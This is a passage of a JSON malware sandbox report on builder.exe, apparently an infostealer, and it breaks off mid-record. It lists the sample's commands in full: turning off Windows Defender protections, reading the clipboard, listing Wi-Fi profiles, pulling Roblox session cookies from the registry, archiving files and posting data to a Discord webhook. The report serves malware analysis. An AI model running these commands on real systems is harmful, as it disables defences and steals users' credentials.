"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:890d3522062a81f970a2c91acea9c68b91c9d77013afc34d5a950269b9e994b6"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:5aaf72de63b5ac3628fd90569a07439f76e44f3a85dd6a2da967554f2f7ca4e7"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:945cd2ab650c55e4783f842ba98a1c3c511554ed10ee380d6e764d229040a339"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:7c67840bc88127300581eeae254138ade601629cdb1312f74832800a6a6ed339"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:b9276935eddae83288dfe7e843d992c8fcb658b48ccd3d4fce68546ef8f30070"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:e624abfb29b61f3db2d25f44f66bf1cf5c5012174577e7b55d9f54fa3a1225ca"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:ee0d5ee953d08b584864291645224ffc885101cbe3d7941d572709d9997ac5bd"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:45c7be6f6958db81d9c0dacf2b63a2c4345d178a367cd33bbbb8f72ac765e73f"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:48d1b37a6e8baa7c4dbc9b2d39f2ac662f185248c80eb85c3261822381753d56"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:c386039d9e5e41d5d968338da9ddf1a64019036b42b0dc6a31d6bf94c8292227"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:5d5c80b2e8a1cf081aa41c35c48f73df384cf526f358e91f80ba2ad48b6e52f7"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:0a22c7f415a74ffb5d24773abc70f024fee16ded835cdfba689507b7f807ab2b"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:c3024b95f7f1757d9496c8171eaca5f8b9bb8c7cd7f6077077b5aaa1302b0ca4"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:5a6b49358772db0b5c682575f02e8630083568542b984d6d00727740506569d4"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:2b4b2d4a06044ad0bd2ae3287cfcbecd90b959feb2f503ac258d7c0a235d6fe9"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:484ff53aad6cf53236c0a31ffa6a39b6fe762ff59d0257b2db1fcd6ccb7ace92"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:6a3539add807790ffc4ebc41a1e7ee1f1992cc3e5aafdaa17a234f4106adddec"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:4493386eee5712a51f8f11f3040be256f1ea73876d54fd7b95082163240e3586"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:b5d0241e9dc7cf46d4eb3846cf5e0425bb08eefa1d5e04ed8793f721909c4cf6"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:e25dbf447c5ee047309b49a8c963f46976d63aaf43948085471fb0f558e2003d"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:6b620ab6a5f8e94a6a83477278a22bb9177cc758ebcc63789c75cedbf6b097b6"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:8078a5ff6c405c38ae3e9a3e808db5fadc42ccbd206dd020eb2e07722518361e"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:ab2b2386b15d05fdb809ed636b921fa78c1a203700adcc234289d43d9e6a3380"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:08c06b9d4cad3dccc2d9c93b3adac070812813770daf56b567de442925971981"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:6889a1b7caff6f1651a71c015c8df4da42aaa7a310141f97797e1d9e9d593b7d"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:98a051822ca485e34d1ba97eb391c8f9abdab4cbc454822c0ca5ca05f767ac9e"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:8110e9b87f814748759f02c25ed363d82fc15459962cd4c24927731e7f35bf7e"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:281c8a31b2a9c3110e767cdd22220e99f0d4ae97251a569fc5df66d881adc878"},{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:d36b93c635ea776fe9ea8eb6bcdd914491e8112513d3a63db6b39cf9f554789f"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":55,"spawned_processes_count":55,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":232,"imported_dlls_count":248,"dropped_files_count":1,"extracted_files_count":100,"files_written_count":154,"files_deleted_count":0,"registry_keys_created_count":67,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":67,"embedded_ips_count":0,"embedded_domains_count":3,"embedded_urls_count":0,"contacted_hosts_count":5,"dns_resolutions_count":3,"contacted_urls_count":3,"http_requests_count":3},"behavior_tags":["evasive","infostealer","windows-server-utility"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6ad117f25203a8beb90e63b4","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Win64.PyInstaller","contacted_countries":["USA"],"submit_name":"builder.exe","analysis_start_time":"2026-10-15T18:14:12+00:00","indicators_count":{"informative":282,"suspicious":97,"malicious":22},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"6ad11711ffc6c1f1cb024bd6","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Win64.PyInstaller","submit_name":"builder.exe","analysis_start_time":"2026-10-15T18:10:27+00:00","indicators_count":{"informative":144,"suspicious":38,"malicious":5},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true},{"id":"6ad116f42b9cb842e501f21f","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Win64.PyInstaller","contacted_countries":["USA"],"submit_name":"builder.exe","analysis_start_time":"2026-10-15T18:09:58+00:00","indicators_count":{"informative":280,"suspicious":101,"malicious":22},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"6acf414376ad75506a05e069","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Win64.PyInstaller","contacted_countries":["USA"],"submit_name":"builder.exe","analysis_start_time":"2026-10-14T08:45:56+00:00","indicators_count":{"informative":301,"suspicious":96,"malicious":20},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"142.251.218.227","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"address":"208.95.112.1","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"address":"162.159.138.232","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"address":"162.159.136.232","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"address":"162.159.137.232","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]}],"dns_resolutions":[{"domain":"ip-api.com","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"domain":"gstatic.com","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"domain":"discord.com","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]}],"http_requests":[{"host":"gstatic.com","host_ip":"142.251.218.227:443","url":"/generate_204","method":"GET","response_code":"204","response_phrase":"No Content","header":"GET /generate_204 HTTP/1.1\nHost: gstatic.com\nAccept-Encoding: identity\nUser-Agent: python-urllib3/2.0.3","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"host":"ip-api.com","host_ip":"208.95.112.1:80","url":"/json/?fields=225545","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /json/?fields=225545 HTTP/1.1\nHost: ip-api.com\nAccept-Encoding: identity\nUser-Agent: python-urllib3/2.0.3","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"host":"discord.com","host_ip":"162.159.138.232:443","url":"/api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7","method":"POST","response_code":"404","response_phrase":"Not Found","header":"POST /api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7 HTTP/1.1\nHost: discord.com\nAccept-Encoding: identity\nContent-Length: 8159\nUser-Agent: python-urllib3/2.0.3\nContent-Type: multipart/form-data; boundary=99bc9948df5de1d58dd49f4619d3df09","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]}],"embedded_domains":[{"value":"ip-api.com","sources":[{"report_type":"qsp","report_id":""}]},{"value":"gstatic.com","sources":[{"report_type":"qsp","report_id":""}]},{"value":"discord.com","sources":[{"report_type":"qsp","report_id":""}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}],"processes":[{"pid":4116,"ppid":0,"name":"builder.exe","command_line":"","sha256":"8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","normalized_path":"C:\\builder.exe","uid":"00000000-00004116","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACKUlEQVR4Xu2WS08TYRSGu+qdYql/QZfEvyVqVYq9ACJewPsFF01YmfR3iFoZ5Y5a66WKmvgzujmec775ZoZz+NJZYEoCkzxp08X7vO+ZTROJk+fYP41aBRq1qSFRgYT+8fDxPO/AT4IL9Pv9oXD0CrRaLWg2mwx9t7+fe/EXTj//g/yG0hLy7BeyB6WnxE8Ye4I8/gFjj4geFB/2YHx5b2CuKuCitETCUMrCQNoLpMUH36B4P0TmSOIXOHDldxQSvvDeVzhF3P3CjC52VY5EFXCdyi41Kx3SRZQufDbcIToDc1UBF+FprdBKuxEhcruDfILCLeTmR5UjiV0gXNk1LHQjwg4LR1mKzH+AkRvErsqRqAKuU8nTFiIrmUCKzO3CyPUdZlCuKuAiulRJSTi3w+Rnt322ID+zpXIksQsEQqQQSO3SbZZZctObkGsg9Q2VI1EFXKeKLs2TkFZaKQs3DCjN1dYhW11jpFCiCrigpfas+Wm70hey1Aiz1feQvYZMvWNkjiR2AVq5bymttFIS+mQqHmQmiVVG5khUAdcryNWNMFhqpbgyUyF86dVVSF95a7jcVkKJKuDCSjP+aQMhS63QSNPlN5C6RLxWOZL4BUjsS9O0MpC2IYXCdLnNQubiK0hdQCZWVI5EFXC9Aj6tkLKYhVa6AskJ4iUkzxukUKIKuDg7v25WlvevTLI0FEY5M+OpHEnsAv+Lo1GgXh3e3/J6FQucPMf++QdaW1M4YcDGqAAAAABJRU5ErkJggg=="},{"pid":3388,"ppid":4116,"name":"builder.exe","command_line":"","sha256":"8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","normalized_path":"C:\\builder.exe","parent_uid":"00000000-00004116","uid":"00000000-00003388"},{"pid":4380,"ppid":3388,"name":"cmd.exe","command_line":"/c \"net session\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00004380"},{"pid":8180,"ppid":4380,"name":"net.exe","command_line":"net session","sha256":"afbe51517092256504f797f6a5abc02515a09d603e8c046ae31d7d7855568e91","normalized_path":"%WINDIR%\\system32\\net.exe","parent_uid":"00000000-00004380","uid":"00000000-00008180"},{"pid":5360,"ppid":8180,"name":"net1.exe","command_line":"%WINDIR%\\system32\\net1 session","sha256":"1879db2abff726a5438dd1ae48f20ebed736619c27a32526d09f70af7eadd0e5","normalized_path":"%WINDIR%\\system32\\net1.exe","parent_uid":"00000000-00008180","uid":"00000000-00005360"},{"pid":7720,"ppid":3388,"name":"cmd.exe","command_line":"/c \"powershell -Command Add-MpPreference -ExclusionPath 'C:\\builder.exe'\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00007720"},{"pid":1492,"ppid":7720,"name":"powershell.exe","command_line":"powershell -Command Add-MpPreference -ExclusionPath 'C:\\builder.exe'","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007720","uid":"00000000-00001492"},{"pid":1952,"ppid":3388,"name":"cmd.exe","command_line":"/c \"powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00001952"},{"pid":6808,"ppid":1952,"name":"powershell.exe","command_line":"powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00001952","uid":"00000000-00006808"},{"pid":1956,"ppid":3388,"name":"cmd.exe","command_line":"/c \"tasklist /FO LIST\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00001956"},{"pid":5320,"ppid":1956,"name":"tasklist.exe","command_line":"tasklist /FO LIST","sha256":"c54fdd83d88404a62eb945b862e13979481526d2af7a97abc92c50ecd06d4f70","normalized_path":"%WINDIR%\\system32\\tasklist.exe","parent_uid":"00000000-00001956","uid":"00000000-00005320"},{"pid":5764,"ppid":3388,"name":"cmd.exe","command_line":"/c \"tasklist /FO LIST\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00005764"},{"pid":832,"ppid":5764,"name":"tasklist.exe","command_line":"tasklist /FO LIST","sha256":"c54fdd83d88404a62eb945b862e13979481526d2af7a97abc92c50ecd06d4f70","normalized_path":"%WINDIR%\\system32\\tasklist.exe","parent_uid":"00000000-00005764","uid":"00000000-00000832"},{"pid":4892,"ppid":3388,"name":"cmd.exe","command_line":"/c \"WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntivirusProduct Get displayName\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00004892"},{"pid":4896,"ppid":4892,"name":"WMIC.exe","command_line":"WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntivirusProduct Get displayName","sha256":"767bf5f08bf4338d9b928c08e25386eabe1ae7755a8612d9d3d791cdeb7a6067","normalized_path":"%WINDIR%\\System32\\Wbem\\WMIC.exe","parent_uid":"00000000-00004892","uid":"00000000-00004896"},{"pid":3584,"ppid":3388,"name":"cmd.exe","command_line":"/c \"powershell Get-Clipboard\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00003584"},{"pid":7464,"ppid":3584,"name":"powershell.exe","command_line":"powershell Get-Clipboard","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003584","uid":"00000000-00007464"},{"pid":6264,"ppid":3388,"name":"cmd.exe","command_line":"/c \"tasklist /FO LIST\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00006264"},{"pid":3940,"ppid":6264,"name":"tasklist.exe","command_line":"tasklist /FO LIST","sha256":"c54fdd83d88404a62eb945b862e13979481526d2af7a97abc92c50ecd06d4f70","normalized_path":"%WINDIR%\\system32\\tasklist.exe","parent_uid":"00000000-00006264","uid":"00000000-00003940"},{"pid":6976,"ppid":3388,"name":"cmd.exe","command_line":"/c \"tree /A /F\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00006976"},{"pid":5312,"ppid":6976,"name":"tree.com","command_line":"tree /A /F","sha256":"fe5d653005df9d6c900f61d9cbb2ec0dc74662b87b327006541198ccd382b32c","normalized_path":"%WINDIR%\\system32\\tree.com","parent_uid":"00000000-00006976","uid":"00000000-00005312"},{"pid":2176,"ppid":3388,"name":"cmd.exe","command_line":"/c \"netsh wlan show profile\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00002176"},{"pid":3476,"ppid":2176,"name":"netsh.exe","command_line":"netsh wlan show profile","sha256":"3e91414a1a005937925e449627d4634e73b1da9dc12d1008b1baa54c77637c44","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00002176","uid":"00000000-00003476"},{"pid":6404,"ppid":3388,"name":"cmd.exe","command_line":"/c \"systeminfo\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00006404"},{"pid":1668,"ppid":6404,"name":"systeminfo.exe","command_line":"","sha256":"92c41751ce5fe17a23ee8f758583a544c54104e81110c2a69f6ad50dbff93ae2","normalized_path":"%WINDIR%\\system32\\systeminfo.exe","parent_uid":"00000000-00006404","uid":"00000000-00001668"},{"pid":2696,"ppid":3388,"name":"cmd.exe","command_line":"/c \"Camera.exe /devlist\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00002696"},{"pid":3136,"ppid":2696,"name":"Camera.exe","command_line":"/devlist","sha256":"7b2f3e233581b70da11455d426e75e6c301d4dd6e5dd05f6952f1b5990879cb2","normalized_path":"%TEMP%\\_MEI41162\\Camera.exe","parent_uid":"00000000-00002696","uid":"00000000-00003136"},{"pid":5888,"ppid":3388,"name":"cmd.exe","command_line":"/c \"tree /A /F\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00005888"},{"pid":4904,"ppid":5888,"name":"tree.com","command_line":"tree /A /F","sha256":"fe5d653005df9d6c900f61d9cbb2ec0dc74662b87b327006541198ccd382b32c","normalized_path":"%WINDIR%\\system32\\tree.com","parent_uid":"00000000-00005888","uid":"00000000-00004904"},{"pid":7456,"ppid":3388,"name":"cmd.exe","command_line":"/c \"tree /A /F\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00007456"},{"pid":7476,"ppid":7456,"name":"tree.com","command_line":"tree /A /F","sha256":"fe5d653005df9d6c900f61d9cbb2ec0dc74662b87b327006541198ccd382b32c","normalized_path":"%WINDIR%\\system32\\tree.com","parent_uid":"00000000-00007456","uid":"00000000-00007476"},{"pid":2392,"ppid":3388,"name":"cmd.exe","command_line":"/c \"tree /A /F\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00002392"},{"pid":6104,"ppid":2392,"name":"tree.com","command_line":"tree /A /F","sha256":"fe5d653005df9d6c900f61d9cbb2ec0dc74662b87b327006541198ccd382b32c","normalized_path":"%WINDIR%\\system32\\tree.com","parent_uid":"00000000-00002392","uid":"00000000-00006104"},{"pid":4836,"ppid":3388,"name":"cmd.exe","command_line":"/c \"tree /A /F\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00004836"},{"pid":7588,"ppid":4836,"name":"tree.com","command_line":"tree /A /F","sha256":"fe5d653005df9d6c900f61d9cbb2ec0dc74662b87b327006541198ccd382b32c","normalized_path":"%WINDIR%\\system32\\tree.com","parent_uid":"00000000-00004836","uid":"00000000-00007588"},{"pid":5364,"ppid":3388,"name":"cmd.exe","command_line":"/c \"tree /A /F\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00005364"},{"pid":3828,"ppid":5364,"name":"tree.com","command_line":"tree /A /F","sha256":"fe5d653005df9d6c900f61d9cbb2ec0dc74662b87b327006541198ccd382b32c","normalized_path":"%WINDIR%\\system32\\tree.com","parent_uid":"00000000-00005364","uid":"00000000-00003828"},{"pid":2376,"ppid":3388,"name":"cmd.exe","command_line":"/c \"powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00002376"},{"pid":2616,"ppid":2376,"name":"powershell.exe","command_line":"powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00002376","uid":"00000000-00002616"},{"pid":5460,"ppid":3388,"name":"cmd.exe","command_line":"/c \"powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00005460"},{"pid":1624,"ppid":5460,"name":"powershell.exe","command_line":"powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005460","uid":"00000000-00001624"},{"pid":6612,"ppid":3388,"name":"cmd.exe","command_line":"/c \"%TEMP%\\_MEI41162\\rar.exe a -r -hpblank \"%TEMP%\\OGyzF.zip\" *\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00006612"},{"pid":3932,"ppid":6612,"name":"rar.exe","command_line":"a -r -hpblank \"%TEMP%\\OGyzF.zip\" *","sha256":"90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213","normalized_path":"%TEMP%\\_MEI41162\\rar.exe","parent_uid":"00000000-00006612","uid":"00000000-00003932"},{"pid":3852,"ppid":3388,"name":"cmd.exe","command_line":"/c \"wmic os get Caption\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00003852"},{"pid":7212,"ppid":3852,"name":"WMIC.exe","command_line":"wmic os get Caption","sha256":"767bf5f08bf4338d9b928c08e25386eabe1ae7755a8612d9d3d791cdeb7a6067","normalized_path":"%WINDIR%\\System32\\Wbem\\WMIC.exe","parent_uid":"00000000-00003852","uid":"00000000-00007212"},{"pid":5720,"ppid":3388,"name":"cmd.exe","command_line":"/c \"wmic computersystem get 